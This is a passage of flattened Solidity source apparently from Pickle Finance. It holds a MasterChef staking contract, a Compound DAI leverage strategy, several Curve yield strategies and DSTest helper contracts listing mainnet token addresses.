0xdc98556Ce24f007A5eF6dC1CE96322d65832A819 ); // Pickle's masterchef contract MasterChef public constant chef = MasterChef( 0xbD17B1ce622d73bD438b9E658acA5996dc394b0d ); // Pool 0 is the ETH/PICKLE pool uint256 public constant pool = uint256(0); // Using 9 decimals as we're square rooting the votes function decimals() external pure returns (uint8) { return uint8(9); } function name() external pure returns (string memory) { return "PICKLEs In The Citadel"; } function symbol() external pure returns (string memory) { return "PICKLE C"; } function totalSupply() external view returns (uint256) { return sqrt(votes.totalSupply()); } function balanceOf(address _voter) external view returns (uint256) { (uint256 _votes, ) = chef.userInfo(pool, _voter); return sqrt(_votes); } function sqrt(uint256 x) public pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } constructor() public {} } contract MasterChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of PICKLEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accPicklePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accPicklePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. PICKLEs to distribute per block. uint256 lastRewardBlock; // Last block number that PICKLEs distribution occurs. uint256 accPicklePerShare; // Accumulated PICKLEs per share, times 1e12. See below. } // The PICKLE TOKEN! PickleToken public pickle; // Dev fund (2%, initially) uint256 public devFundDivRate = 50; // Dev address. address public devaddr; // Block number when bonus PICKLE period ends. uint256 public bonusEndBlock; // PICKLE tokens created per block. uint256 public picklePerBlock; // Bonus muliplier for early pickle makers. uint256 public constant BONUS_MULTIPLIER = 10; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when PICKLE mining starts. uint256 public startBlock; // Events event Recovered(address token, uint256 amount); event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( PickleToken _pickle, address _devaddr, uint256 _picklePerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { pickle = _pickle; devaddr = _devaddr; picklePerBlock = _picklePerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accPicklePerShare: 0 }) ); } // Update the given pool's PICKLE allocation point. Can only be called by the owner. function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending PICKLEs on frontend. function pendingPickle(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accPicklePerShare = pool.accPicklePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier( pool.lastRewardBlock, block.number ); uint256 pickleReward = multiplier .mul(picklePerBlock) .mul(pool.allocPoint) .div(totalAllocPoint); accPicklePerShare = accPicklePerShare.add( pickleReward.mul(1e12).div(lpSupply) ); } return user.amount.mul(accPicklePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 pickleReward = multiplier .mul(picklePerBlock) .mul(pool.allocPoint) .div(totalAllocPoint); pickle.mint(devaddr, pickleReward.div(devFundDivRate)); pickle.mint(address(this), pickleReward); pool.accPicklePerShare = pool.accPicklePerShare.add( pickleReward.mul(1e12).div(lpSupply) ); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for PICKLE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user .amount .mul(pool.accPicklePerShare) .div(1e12) .sub(user.rewardDebt); safePickleTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom( address(msg.sender), address(this), _amount ); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accPicklePerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accPicklePerShare).div(1e12).sub( user.rewardDebt ); safePickleTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accPicklePerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe pickle transfer function, just in case if rounding error causes pool to not have enough PICKLEs. function safePickleTransfer(address _to, uint256 _amount) internal { uint256 pickleBal = pickle.balanceOf(address(this)); if (_amount > pickleBal) { pickle.transfer(_to, pickleBal); } else { pickle.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } // **** Additional functions separate from the original masterchef contract **** function setPicklePerBlock(uint256 _picklePerBlock) public onlyOwner { require(_picklePerBlock > 0, "!picklePerBlock-0"); picklePerBlock = _picklePerBlock; } function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner { bonusEndBlock = _bonusEndBlock; } function setDevFundDivRate(uint256 _devFundDivRate) public onlyOwner { require(_devFundDivRate > 0, "!devFundDivRate-0"); devFundDivRate = _devFundDivRate; } } contract PickleToken is ERC20("PickleToken", "PICKLE"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); } } interface IJar is IERC20 { function token() external view returns (address); function claimInsurance() external; // NOTE: Only yDelegatedVault implements this function getRatio() external view returns (uint256); function deposit(uint256) external; function withdraw(uint256) external; function earn() external; function decimals() external view returns (uint8); } contract StrategyCmpdDaiV2 is StrategyBase, Exponential { address public constant comptroller = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; address public constant lens = 0xd513d22422a3062Bd342Ae374b4b9c20E0a9a074; address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant comp = 0xc00e94Cb662C3520282E6f5717214004A7f26888; address public constant cdai = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643; address public constant cether = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; // Require a 0.1 buffer between // market collateral factor and strategy's collateral factor // when leveraging uint256 colFactorLeverageBuffer = 100; uint256 colFactorLeverageBufferMax = 1000; // Allow a 0.05 buffer // between market collateral factor and strategy's collateral factor // until we have to deleverage // This is so we can hit max leverage and keep accruing interest uint256 colFactorSyncBuffer = 50; uint256 colFactorSyncBufferMax = 1000; // Keeper bots // Maintain leverage within buffer mapping(address => bool) keepers; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyBase(dai, _governance, _strategist, _controller, _timelock) { // Enter cDAI Market address[] memory ctokens = new address[](1); ctokens[0] = cdai; IComptroller(comptroller).enterMarkets(ctokens); } // **** Modifiers **** // modifier onlyKeepers { require( keepers[msg.sender] || msg.sender == address(this) || msg.sender == strategist || msg.sender == governance, "!keepers" ); _; } // **** Views **** // function getName() external override pure returns (string memory) { return "StrategyCmpdDaiV2"; } function getSuppliedView() public view returns (uint256) { (, uint256 cTokenBal, , uint256 exchangeRate) = ICToken(cdai) .getAccountSnapshot(address(this)); (, uint256 bal) = mulScalarTruncate( Exp({mantissa: exchangeRate}), cTokenBal ); return bal; } function getBorrowedView() public view returns (uint256) { return ICToken(cdai).borrowBalanceStored(address(this)); } function balanceOfPool() public override view returns (uint256) { uint256 supplied = getSuppliedView(); uint256 borrowed = getBorrowedView(); return supplied.sub(borrowed); } // Given an unleveraged supply balance, return the target // leveraged supply balance which is still within the safety buffer function getLeveragedSupplyTarget(uint256 supplyBalance) public view returns (uint256) { uint256 leverage = getMaxLeverage(); return supplyBalance.mul(leverage).div(1e18); } function getSafeLeverageColFactor() public view returns (uint256) { uint256 colFactor = getMarketColFactor(); // Collateral factor within the buffer uint256 safeColFactor = colFactor.sub( colFactorLeverageBuffer.mul(1e18).div(colFactorLeverageBufferMax) ); return safeColFactor; } function getSafeSyncColFactor() public view returns (uint256) { uint256 colFactor = getMarketColFactor(); // Collateral factor within the buffer uint256 safeColFactor = colFactor.sub( colFactorSyncBuffer.mul(1e18).div(colFactorSyncBufferMax) ); return safeColFactor; } function getMarketColFactor() public view returns (uint256) { (, uint256 colFactor) = IComptroller(comptroller).markets(cdai); return colFactor; } // Max leverage we can go up to, w.r.t safe buffer function getMaxLeverage() public view returns (uint256) { uint256 safeLeverageColFactor = getSafeLeverageColFactor(); // Infinite geometric series uint256 leverage = uint256(1e36).div(1e18 - safeLeverageColFactor); return leverage; } // **** Pseudo-view functions (use `callStatic` on these) **** // /* The reason why these exists is because of the nature of the interest accruing supply + borrow balance. The "view" methods are technically snapshots and don't represent the real value. As such there are pseudo view methods where you can retrieve the results by calling `callStatic`. */ function getCompAccrued() public returns (uint256) { (, , , uint256 accrued) = ICompoundLens(lens).getCompBalanceMetadataExt( comp, comptroller, address(this) ); return accrued; } function getColFactor() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); return borrowed.mul(1e18).div(supplied); } function getSuppliedUnleveraged() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); return supplied.sub(borrowed); } function getSupplied() public returns (uint256) { return ICToken(cdai).balanceOfUnderlying(address(this)); } function getBorrowed() public returns (uint256) { return ICToken(cdai).borrowBalanceCurrent(address(this)); } function getBorrowable() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); (, uint256 colFactor) = IComptroller(comptroller).markets(cdai); // 99.99% just in case some dust accumulates return supplied.mul(colFactor).div(1e18).sub(borrowed).mul(9999).div( 10000 ); } function getCurrentLeverage() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); return supplied.mul(1e18).div(supplied.sub(borrowed)); } // **** Setters **** // function addKeeper(address _keeper) public { require( msg.sender == governance || msg.sender == strategist, "!governance" ); keepers[_keeper] = true; } function removeKeeper(address _keeper) public { require( msg.sender == governance || msg.sender == strategist, "!governance" ); keepers[_keeper] = false; } function setColFactorLeverageBuffer(uint256 _colFactorLeverageBuffer) public { require( msg.sender == governance || msg.sender == strategist, "!governance" ); colFactorLeverageBuffer = _colFactorLeverageBuffer; } function setColFactorSyncBuffer(uint256 _colFactorSyncBuffer) public { require( msg.sender == governance || msg.sender == strategist, "!governance" ); colFactorSyncBuffer = _colFactorSyncBuffer; } // **** State mutations **** // // Do a `callStatic` on this. // If it returns true then run it for realz. (i.e. eth_signedTx, not eth_call) function sync() public returns (bool) { uint256 colFactor = getColFactor(); uint256 safeSyncColFactor = getSafeSyncColFactor(); // If we're not safe if (colFactor > safeSyncColFactor) { uint256 unleveragedSupply = getSuppliedUnleveraged(); uint256 idealSupply = getLeveragedSupplyTarget(unleveragedSupply); deleverageUntil(idealSupply); return true; } return false; } function leverageToMax() public { uint256 unleveragedSupply = getSuppliedUnleveraged(); uint256 idealSupply = getLeveragedSupplyTarget(unleveragedSupply); leverageUntil(idealSupply); } // Leverages until we're supplying <x> amount // 1. Redeem <x> DAI // 2. Repay <x> DAI function leverageUntil(uint256 _supplyAmount) public onlyKeepers { // 1. Borrow out <X> DAI // 2. Supply <X> DAI uint256 leverage = getMaxLeverage(); uint256 unleveragedSupply = getSuppliedUnleveraged(); require( _supplyAmount >= unleveragedSupply && _supplyAmount <= unleveragedSupply.mul(leverage).div(1e18), "!leverage" ); // Since we're only leveraging one asset // Supplied = borrowed uint256 _borrowAndSupply; uint256 supplied = getSupplied(); while (supplied < _supplyAmount) { _borrowAndSupply = getBorrowable(); if (supplied.add(_borrowAndSupply) > _supplyAmount) { _borrowAndSupply = _supplyAmount.sub(supplied); } ICToken(cdai).borrow(_borrowAndSupply); deposit(); supplied = supplied.add(_borrowAndSupply); } } function deleverageToMin() public { uint256 unleveragedSupply = getSuppliedUnleveraged(); deleverageUntil(unleveragedSupply); } // Deleverages until we're supplying <x> amount // 1. Redeem <x> DAI // 2. Repay <x> DAI function deleverageUntil(uint256 _supplyAmount) public onlyKeepers { uint256 unleveragedSupply = getSuppliedUnleveraged(); uint256 supplied = getSupplied(); require( _supplyAmount >= unleveragedSupply && _supplyAmount <= supplied, "!deleverage" ); // Since we're only leveraging on 1 asset // redeemable = borrowable uint256 _redeemAndRepay = getBorrowable(); do { if (supplied.sub(_redeemAndRepay) < _supplyAmount) { _redeemAndRepay = supplied.sub(_supplyAmount); } require( ICToken(cdai).redeemUnderlying(_redeemAndRepay) == 0, "!redeem" ); IERC20(dai).safeApprove(cdai, 0); IERC20(dai).safeApprove(cdai, _redeemAndRepay); require(ICToken(cdai).repayBorrow(_redeemAndRepay) == 0, "!repay"); supplied = supplied.sub(_redeemAndRepay); } while (supplied > _supplyAmount); } function harvest() public override onlyBenevolent { address[] memory ctokens = new address[](1); ctokens[0] = cdai; IComptroller(comptroller).claimComp(address(this), ctokens); uint256 _comp = IERC20(comp).balanceOf(address(this)); if (_comp > 0) { _swapUniswap(comp, want, _comp); } _distributePerformanceFeesAndDeposit(); } function deposit() public override { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeApprove(cdai, 0); IERC20(want).safeApprove(cdai, _want); require(ICToken(cdai).mint(_want) == 0, "!deposit"); } } function _withdrawSome(uint256 _amount) internal override returns (uint256) { uint256 _want = balanceOfWant(); if (_want < _amount) { uint256 _redeem = _amount.sub(_want); // Make sure market can cover liquidity require(ICToken(cdai).getCash() >= _redeem, "!cash-liquidity"); // How much borrowed amount do we need to free? uint256 borrowed = getBorrowed(); uint256 supplied = getSupplied(); uint256 curLeverage = getCurrentLeverage(); uint256 borrowedToBeFree = _redeem.mul(curLeverage).div(1e18); // If the amount we need to free is > borrowed // Just free up all the borrowed amount if (borrowedToBeFree > borrowed) { this.deleverageToMin(); } else { // Otherwise just keep freeing up borrowed amounts until // we hit a safe number to redeem our underlying this.deleverageUntil(supplied.sub(borrowedToBeFree)); } // Redeems underlying require(ICToken(cdai).redeemUnderlying(_redeem) == 0, "!redeem"); } return _amount; } } contract StrategyCurve3CRVv2 is StrategyCurveBase { // Curve stuff address public three_pool = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7; address public three_gauge = 0xbFcF63294aD7105dEa65aA58F8AE5BE2D9d0952A; address public three_crv = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyCurveBase( three_pool, three_gauge, three_crv, _governance, _strategist, _controller, _timelock ) {} // **** Views **** function getMostPremium() public override view returns (address, uint256) { uint256[] memory balances = new uint256[](3); balances[0] = ICurveFi_3(curve).balances(0); // DAI balances[1] = ICurveFi_3(curve).balances(1).mul(10**12); // USDC balances[2] = ICurveFi_3(curve).balances(2).mul(10**12); // USDT // DAI if ( balances[0] < balances[1] && balances[0] < balances[2] ) { return (dai, 0); } // USDC if ( balances[1] < balances[0] && balances[1] < balances[2] ) { return (usdc, 1); } // USDT if ( balances[2] < balances[0] && balances[2] < balances[1] ) { return (usdt, 2); } // If they're somehow equal, we just want DAI return (dai, 0); } function getName() external override pure returns (string memory) { return "StrategyCurve3CRVv2"; } // **** State Mutations **** function harvest() public onlyBenevolent override { // Anyone can harvest it at any given time. // I understand the possibility of being frontrun // But ETH is a dark forest, and I wanna see how this plays out // i.e. will be be heavily frontrunned? // if so, a new strategy will be deployed. // stablecoin we want to convert to (address to, uint256 toIndex) = getMostPremium(); // Collects crv tokens // Don't bother voting in v1 ICurveMintr(mintr).mint(gauge); uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { // x% is sent back to the rewards holder // to be used to lock up in as veCRV in a future date uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax); if (_keepCRV > 0) { IERC20(crv).safeTransfer( IController(controller).treasury(), _keepCRV ); } _crv = _crv.sub(_keepCRV); _swapUniswap(crv, to, _crv); } // Adds liquidity to curve.fi's pool // to get back want (scrv) uint256 _to = IERC20(to).balanceOf(address(this)); if (_to > 0) { IERC20(to).safeApprove(curve, 0); IERC20(to).safeApprove(curve, _to); uint256[3] memory liquidity; liquidity[toIndex] = _to; ICurveFi_3(curve).add_liquidity(liquidity, 0); } _distributePerformanceFeesAndDeposit(); } } contract StrategyCurveRenCRVv2 is StrategyCurveBase { // https://www.curve.fi/ren // Curve stuff address public ren_pool = 0x93054188d876f558f4a66B2EF1d97d16eDf0895B; address public ren_gauge = 0xB1F2cdeC61db658F091671F5f199635aEF202CAC; address public ren_crv = 0x49849C98ae39Fff122806C06791Fa73784FB3675; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyCurveBase( ren_pool, ren_gauge, ren_crv, _governance, _strategist, _controller, _timelock ) {} // **** Views **** function getMostPremium() public override view returns (address, uint256) { // Both 8 decimals, so doesn't matter uint256[] memory balances = new uint256[](3); balances[0] = ICurveFi_2(curve).balances(0); // RENBTC balances[1] = ICurveFi_2(curve).balances(1); // WBTC // renbtc if (balances[0] < balances[1]) { return (renbtc, 0); } // WBTC if (balances[1] < balances[0]) { return (wbtc, 1); } // If they're somehow equal, we just want RENBTC return (renbtc, 0); } function getName() external override pure returns (string memory) { return "StrategyCurveRenCRVv2"; } // **** State Mutations **** function harvest() public override onlyBenevolent { // Anyone can harvest it at any given time. // I understand the possibility of being frontrun // But ETH is a dark forest, and I wanna see how this plays out // i.e. will be be heavily frontrunned? // if so, a new strategy will be deployed. // stablecoin we want to convert to (address to, uint256 toIndex) = getMostPremium(); // Collects crv tokens // Don't bother voting in v1 ICurveMintr(mintr).mint(gauge); uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { // x% is sent back to the rewards holder // to be used to lock up in as veCRV in a future date uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax); if (_keepCRV > 0) { IERC20(crv).safeTransfer( IController(controller).treasury(), _keepCRV ); } _crv = _crv.sub(_keepCRV); _swapUniswap(crv, to, _crv); } // Adds liquidity to curve.fi's pool // to get back want (scrv) uint256 _to = IERC20(to).balanceOf(address(this)); if (_to > 0) { IERC20(to).safeApprove(curve, 0); IERC20(to).safeApprove(curve, _to); uint256[2] memory liquidity; liquidity[toIndex] = _to; ICurveFi_2(curve).add_liquidity(liquidity, 0); } _distributePerformanceFeesAndDeposit(); } } contract StrategyCurveSCRVv3_2 is StrategyCurveBase { // Curve stuff address public susdv2_pool = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; address public susdv2_gauge = 0xA90996896660DEcC6E997655E065b23788857849; address public scrv = 0xC25a3A3b969415c80451098fa907EC722572917F; // Harvesting address public snx = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyCurveBase( susdv2_pool, susdv2_gauge, scrv, _governance, _strategist, _controller, _timelock ) {} // **** Views **** function getMostPremium() public override view returns (address, uint256) { uint256[] memory balances = new uint256[](4); balances[0] = ICurveFi_4(curve).balances(0); // DAI balances[1] = ICurveFi_4(curve).balances(1).mul(10**12); // USDC balances[2] = ICurveFi_4(curve).balances(2).mul(10**12); // USDT balances[3] = ICurveFi_4(curve).balances(3); // sUSD // DAI if ( balances[0] < balances[1] && balances[0] < balances[2] && balances[0] < balances[3] ) { return (dai, 0); } // USDC if ( balances[1] < balances[0] && balances[1] < balances[2] && balances[1] < balances[3] ) { return (usdc, 1); } // USDT if ( balances[2] < balances[0] && balances[2] < balances[1] && balances[2] < balances[3] ) { return (usdt, 2); } // SUSD if ( balances[3] < balances[0] && balances[3] < balances[1] && balances[3] < balances[2] ) { return (susd, 3); } // If they're somehow equal, we just want DAI return (dai, 0); } function getName() external override pure returns (string memory) { return "StrategyCurveSCRVv3_2"; } // **** State Mutations **** function harvest() public onlyBenevolent override { // Anyone can harvest it at any given time. // I understand the possibility of being frontrun // But ETH is a dark forest, and I wanna see how this plays out // i.e. will be be heavily frontrunned? // if so, a new strategy will be deployed. // stablecoin we want to convert to (address to, uint256 toIndex) = getMostPremium(); // Collects crv tokens // Don't bother voting in v1 ICurveMintr(mintr).mint(gauge); uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { // x% is sent back to the rewards holder // to be used to lock up in as veCRV in a future date uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax); if (_keepCRV > 0) { IERC20(crv).safeTransfer( IController(controller).treasury(), _keepCRV ); } _crv = _crv.sub(_keepCRV); _swapUniswap(crv, to, _crv); } // Collects SNX tokens ICurveGauge(gauge).claim_rewards(address(this)); uint256 _snx = IERC20(snx).balanceOf(address(this)); if (_snx > 0) { _swapUniswap(snx, to, _snx); } // Adds liquidity to curve.fi's susd pool // to get back want (scrv) uint256 _to = IERC20(to).balanceOf(address(this)); if (_to > 0) { IERC20(to).safeApprove(curve, 0); IERC20(to).safeApprove(curve, _to); uint256[4] memory liquidity; liquidity[toIndex] = _to; ICurveFi_4(curve).add_liquidity(liquidity, 0); } // We want to get back sCRV _distributePerformanceFeesAndDeposit(); } } contract StrategyCurveSCRVv4_1 is StrategyBase { // Curve address public scrv = 0xC25a3A3b969415c80451098fa907EC722572917F; address public susdv2_gauge = 0xA90996896660DEcC6E997655E065b23788857849; address public susdv2_pool = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; address public escrow = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2; // curve dao address public gauge; address public curve; address public mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; // tokens we're farming address public constant crv = 0xD533a949740bb3306d119CC777fa900bA034cd52; address public constant snx = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F; // stablecoins address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51; // How much CRV tokens to keep uint256 public keepCRV = 500; uint256 public keepCRVMax = 10000; // crv-locker and voter address public scrvVoter; address public crvLocker; constructor( address _scrvVoter, address _crvLocker, address _governance, address _strategist, address _controller, address _timelock ) public StrategyBase(scrv, _governance, _strategist, _controller, _timelock) { curve = susdv2_pool; gauge = susdv2_gauge; scrvVoter = _scrvVoter; crvLocker = _crvLocker; } // **** Getters **** function balanceOfPool() public override view returns (uint256) { return SCRVVoter(scrvVoter).balanceOf(gauge); } function getName() external override pure returns (string memory) { return "StrategyCurveSCRVv4_1"; } function getHarvestable() external returns (uint256) { return ICurveGauge(gauge).claimable_tokens(crvLocker); } function getMostPremium() public view returns (address, uint8) { uint256[] memory balances = new uint256[](4); balances[0] = ICurveFi_4(curve).balances(0); // DAI balances[1] = ICurveFi_4(curve).balances(1).mul(10**12); // USDC balances[2] = ICurveFi_4(curve).balances(2).mul(10**12); // USDT balances[3] = ICurveFi_4(curve).balances(3); // sUSD // DAI if ( balances[0] < balances[1] && balances[0] < balances[2] && balances[0] < balances[3] ) { return (dai, 0); } // USDC if ( balances[1] < balances[0] && balances[1] < balances[2] && balances[1] < balances[3] ) { return (usdc, 1); } // USDT if ( balances[2] < balances[0] && balances[2] < balances[1] && balances[2] < balances[3] ) { return (usdt, 2); } // SUSD if ( balances[3] < balances[0] && balances[3] < balances[1] && balances[3] < balances[2] ) { return (susd, 3); } // If they're somehow equal, we just want DAI return (dai, 0); } // **** Setters **** function setKeepCRV(uint256 _keepCRV) external { require(msg.sender == governance, "!governance"); keepCRV = _keepCRV; } // **** State Mutations **** function deposit() public override { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeTransfer(scrvVoter, _want); SCRVVoter(scrvVoter).deposit(gauge, want); } } function _withdrawSome(uint256 _amount) internal override returns (uint256) { return SCRVVoter(scrvVoter).withdraw(gauge, want, _amount); } function harvest() public override onlyBenevolent { // Anyone can harvest it at any given time. // I understand the possibility of being frontrun / sandwiched // But ETH is a dark forest, and I wanna see how this plays out // i.e. will be be heavily frontrunned/sandwiched? // if so, a new strategy will be deployed. // stablecoin we want to convert to (address to, uint256 toIndex) = getMostPremium(); // Collects crv tokens // Don't bother voting in v1 SCRVVoter(scrvVoter).harvest(gauge); uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { // How much CRV to keep to restake? uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax); IERC20(crv).safeTransfer(address(crvLocker), _keepCRV); // How much CRV to swap? _crv = _crv.sub(_keepCRV); _swapUniswap(crv, to, _crv); } // Collects SNX tokens SCRVVoter(scrvVoter).claimRewards(); uint256 _snx = IERC20(snx).balanceOf(address(this)); if (_snx > 0) { _swapUniswap(snx, to, _snx); } // Adds liquidity to curve.fi's susd pool // to get back want (scrv) uint256 _to = IERC20(to).balanceOf(address(this)); if (_to > 0) { IERC20(to).safeApprove(curve, 0); IERC20(to).safeApprove(curve, _to); uint256[4] memory liquidity; liquidity[toIndex] = _to; ICurveFi_4(curve).add_liquidity(liquidity, 0); } // We want to get back sCRV _distributePerformanceFeesAndDeposit(); } } contract DSTestApprox is DSTest { function assertEqApprox(uint256 a, uint256 b) internal { if (a == 0 && b == 0) { return; } // +/- 5% uint256 bMax = (b * 105) / 100; uint256 bMin = (b * 95) / 100; if (!(a > bMin && a < bMax)) { emit log_bytes32("Error: Wrong `a-uint` value!"); emit log_named_uint(" Expected", b); emit log_named_uint(" Actual", a); fail(); } } function assertEqVerbose(bool a, bytes memory b) internal { if (!a) { emit log_bytes32("Error: assertion error!"); emit logs(b); fail(); } } } contract DSTestDefiBase is DSTestApprox { using SafeERC20 for IERC20; using SafeMath for uint256; address pickle = 0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5; address burn = 0x000000000000000000000000000000000000dEaD; address susdv2_deposit = 0xFCBa3E75865d2d561BE8D220616520c171F12851; address susdv2_pool = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; address three_pool = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7; address ren_pool = 0x93054188d876f558f4a66B2EF1d97d16eDf0895B; address scrv = 0xC25a3A3b969415c80451098fa907EC722572917F; address three_crv = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490; address ren_crv = 0x49849C98ae39Fff122806C06791Fa73784FB3675; address eth = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address crv = 0xD533a949740bb3306d119CC777fa900bA034cd52; address snx = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F; address dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51; address uni = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984; address wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; address renbtc = 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D; Hevm hevm = 